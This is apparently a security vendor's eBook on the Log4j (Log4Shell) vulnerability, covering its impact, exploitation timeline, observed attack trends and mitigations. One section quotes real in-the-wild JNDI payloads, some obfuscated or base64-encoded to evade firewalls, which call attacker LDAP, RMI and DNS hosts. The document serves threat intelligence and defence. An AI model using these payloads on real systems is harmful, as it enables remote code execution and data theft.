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Introduction: What’s Going On
On December 9, 2021, the Log4j vulnerability, tracked as CVE-2021-44228, was publicly revealed via the project’s GitHub. This page collects 
all the intelligence that Randori has gathered since the release of the vulnerability that impacts many types of software, and likely billions 
of devices.

This vulnerability, which was discovered by Chen Zhaojun of Alibaba Cloud Security Team, impacts Apache Log4j 2 versions 2.0 to 2.14.1. 

This weakness allows arbitrary code execution. A logging utility such as Log4j is meant to allow developers to log various types of data 
within their applications, this data is typically based on user inputs, but does not have to be.

The Log4j vulnerability allows an attacker to load any code they want via the Log4j logging structure. Threat actors can point the logging 
protocol to a Java library of their choosing, and it would automatically load the target.

We estimate Log4j to be as far reaching as the Heartbleed vulnerability and Shellshock combined.  More than 2.5 billion devices running 
Java, coupled with the fact this vulnerability is extremely easy to exploit, means the impact is likely very far reaching.

This eBook will cover everything Randori knows about log4j to this point. This is a highly dynamic situation, and guidance that was valid and 
correct at one point can very quickly become outdated. 

Read the Randori Blog for more info.

https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://github.com/apache/logging-log4j2/pull/608
https://heartbleed.com/
https://en.wikipedia.org/wiki/Shellshock_(software_bug)
https://www.randori.com/blog/cve-2021-44228/
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What is Log4j?

● A Java-based logging utility maintained by the Apache 
Software Foundation

● One of the most commonly used libraries for logging, likely 
present in millions of Java applications

● Present as a backend dependency in many large 
cloud-based services

● It’s used to log information, often containing user inputs
● It supports Java Naming and Directory Interface (JNDI) 

which can be used to pull data (and code) from a remote 
sources

● As a protocol, JNDI has existed for at least 10 years 
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What’s the Big Deal? CVE-2021-44228

Log4j is the most ubiquitous logging capability for Java, and Log4j has 
been around for a decade itself. The vulnerability allows a malicious user 
to inject a JNDI that uses a URI to point to a potentially untrusted Java 
class on an attacker-controlled LDAP server, which forces the Log4j 2.x 
library to execute the code. Said another way— it’s a remote code 
execution vulnerability, meaning any attacker will almost certainly be able 
to run code of their choice on affected systems, making the computer do 
what they want. 

Fastly has a detailed writeup of how the attack proceeds following the 
execution of the initial exploit.

The Log4Shell vulnerability is, at this time, specific to the Log4j 2.x 
version of the logger. Log4j 2.0 added lookups, including JNDI lookups. 
These JNDI lookups were not restricted, leading to the vulnerability.Log4j 
2.15.0 resolves this issue by limiting the protocols by default to only java, 
ldap, and ldaps and limits the ldap protocols to only accessing Java 
primitive objects by default served on the local host.

Read the latest analysis from Randori

https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface
https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j
https://www.randori.com/blog/cve-2021-44228/
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Who is Impacted? Just about everyone

We estimate the Log4j vulnerability to be as far reaching as the 
Heartbleed vulnerability and Shellshock combined.  More than 2.5 
billion devices running Java, coupled with the fact this vulnerability is 
extremely easy to exploit, means that the impact is very far reaching. 
The Randori Attack Team suggests it’s a 1 out of 10 in terms of ease of 
exploit—with one being the easiest. 

Attackers may take this exploit and stuff it into all sorts of places and 
spray it over the internet. Eventually we expect targeted attacks and 
it to be used for ransomware.

The Log4j 2 library is very frequently used in enterprise Java 
software—it’s highly ubiquitous. Due to this deployment methodology, 
the impact is difficult to quantify. Similarly to other high-profile 
vulnerabilities such as Heartbleed and Shellshock, we believe there 
will be an increasing number of vulnerable products discovered in the 
weeks to come. 

https://heartbleed.com/
https://en.wikipedia.org/wiki/Shellshock_(software_bug)
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Timeline From Disclosure to Exploit
Since news of the Log4j vulnerability broke Thursday, Randori 
has been at the forefront of helping the community 
understand this bug and why it’s such a big deal. However, 
rather than diving into the specifics of this bug, in this blog I 
want to focus on what Log4j says about the future of Attack 
Surface Management and how our customers have used 
Randori to quickly understand if (and how badly) they’re 
exposed. 

Right now – the internet is on fire. Attackers are actively 
scanning the internet, looking for systems to exploit while 
red-eyed defenders scramble to understand their exposure 
and contain the damage that has already been done. At 
Randori, our data suggests that nearly every medium or large 
company is impacted and most had dozens of vulnerable 
internet facing applications exposed when news broke.

While Randori customers began receiving notifications of their 
exposures within hours, it’s clear that many organizations are 
still struggling to understand what’s running, what’s vulnerable, 
and what their real-time exposure is to Log4Shell.

https://www.randori.com/blog/cve-2021-44228/
https://www.randori.com/log4j/
https://www.npr.org/2021/12/14/1064123144/companies-scramble-to-defend-against-newly-discovered-log4j-digital-flaw
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The Number of IPs Searching for Log4j Is Growing
Attackers  took fast notice of this vulnerability, with the number of IPs scanning for the vulnerability exploding throughout the 
course of the weekend. Starting from December 9, as public POCs begin to be available and using clustering on all the different 
variations of payloads that we're starting to see, we are able to certify that payload diversity dramatically increased and WAF rules 
started to become significantly less effective. Around 9 pm UTC on December 12, there was a five-times uptick in the number of 
IPs scanning for the vulnerability, with as many as 468 unique addresses trying to find log4j around the web. 

Timeline of # of IPs scanning for vulnerability per hour. 
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Ease of Exploitation Makes This Dangerous 

VMware Horizon* | Time to Compromise- 5h28m
12/10/2021 
09:28 pm EDT 
Randori compromises customer 
VMWare Horizon system

Jamf Pro* | Time to Compromise - 8h52m
12/09/2021 
03:45 pm EDT
Randori first hears of the 
vulnerability

12/11/2021 
05:22 am EDT
Randori compromises 
customer Jamf Pro server

12/09/2021 
03:45 pm EDT
Randori first hears of the 
vulnerability

12/09/2021 
04:00 pm EDT
Randori begins research 
against VMWare Horizon

12/10/2021 
08:30 pm EDT
Randori begins research 
against Jamf Pro

12/10/2021 
11:15 pm EDT
Randori triggers issue 
against Jamf Pro 

12/09/2021 
05:49 pm EDT
Randori triggers issue 
against VMWare Horizon

*Randori notified vendors immediately and assisted in development of remediations

Within a matter of hours of learning about the bug on Twitter, the Randori Attack Team were perhaps the first in the world to develop a 
working exploit and confirm exploitability in real-world environments. The Greynoise team were the first to identify malicious scanning. It’s 
important to emphasize how easy this bug is to exploit; the Randori Attack Team suggests it’s a 1 out of 10 in terms of ease of exploit—with 
one being the easiest.

“Within hours of 
release, we had 
developed a 
working exploit 
and successfully 
landed in customer 
environments.” 
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What are we seeing? Active exploitation

● HTTP/HTTP(S) communications 
including vulnerable Log4j Lookup 
syntax “${}”

● All user-controlled HTTP attributes 
being used to include vulnerable 
syntax

● Payload obfuscation/interpolation

● Loading of remote Java classes

● Exfiltration of env 
variables/secrets 

GreyNoise was one of the first organizations to identify 
active scanning for this vulnerability. 

Upon initial discovery, they primarily saw payloads being 
transmitted over HTTP or HTTPs using the vulnerable 
log4j lookup syntax early on. 

Initially HTTP attributes being used to include the 
vulnerable syntax. 

More recently, Greynoise has see growing exfiltration of 
data like environment variables and secrets (like AWS 
secrets) through use of DNS. 

“What started off as homogenous 
spray-and-prey has quickly become active 
targeting of specific app applications. ” 
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What are we seeing? Impact 
Here are a few examples of application-specific payloads 
that GreyNoise saw over the course of December 9 to 
December 13. 

In Example 1: The attackers have explicitly called out  
VMware vSphere with a variety of headers using 
confiscation and interpolation to bypass any sort of web 
application firewall that may be doing its job, as well as a 
post to in info profile with a content type of application and 
service ID, which is close to related with another VMware 
product. 

1

2
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What are we seeing? Impact

● POST /infraprofile
○ {“serviceId”:”${jndi:ldap://<IP_ADDRESS>.b9il72.dnslog.cn/Exploit}”

● GET /websso/SAML2/SSO/vsphere.local?SAMLRequest=
○ in multiple headers: 

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.blueteam.icu}
● GET /websso/SAML2/SSOSSL/vsphere.local

○ parameter
■ RelyingPartyEntityId=JHskezo6LWp9bmRpOnJtaTovLzQ1Ljc3LjEyNC42MTo0NDMv

UkF9
● BASE64 = ${${::-j}ndi:rmi://45.77.124.61:443/RA}

 

Below are example payloads as before, with the addition of a GET request to web SSO, vSphere local. Recently, GreyNoise 
has increasingly seen attackers really digging into specific parameters of this request. In this case, the relying party entity ID 
is a base 64 encoded payload using RMI and is being xFi through port 443 outbound. 
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Mitigations: Effective vs. Ineffective

● Update to Log4j 2 version 2.16.0

● Default-deny firewall rule on outbound 
traffic from susceptible systems

● JVM flag, if you control the application: 
java -Dlog4j2.formatMsgNoLookups=true

● Environment variable when starting the 
JVM: 
LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Effective Ineffective

● Web Application Firewalls

○ numerous and unaccounted for 
methods for exploitation

● Updating the Java runtime itself

● Searching for strings such as “${“ in log 
files
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What can you do? Remediation

Custom Applications
● Identify all applications leveraging Log4j 
● Upgrade to Log4j 2.16.0. 
● Monitor systems for aberrant activity.
● Implement default deny outbound policies on potentially affected systems.
● Check logs for signs of exploitation. 

3rd Party Software
● If possible, scan for presence of vulnerable Log4j 2 JAR files on disk
● Ask the vendor for information on Log4j 2 usage and mitigations if present
● Implement default deny outbound policies on potentially affected systems.
● Check logs for signs of exploitation. 
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https://www.randori.com/demo/
https://www.linkedin.com/company/randorisecurity/
https://www.linkedin.com/company/randorisecurity/
https://twitter.com/randoriattack

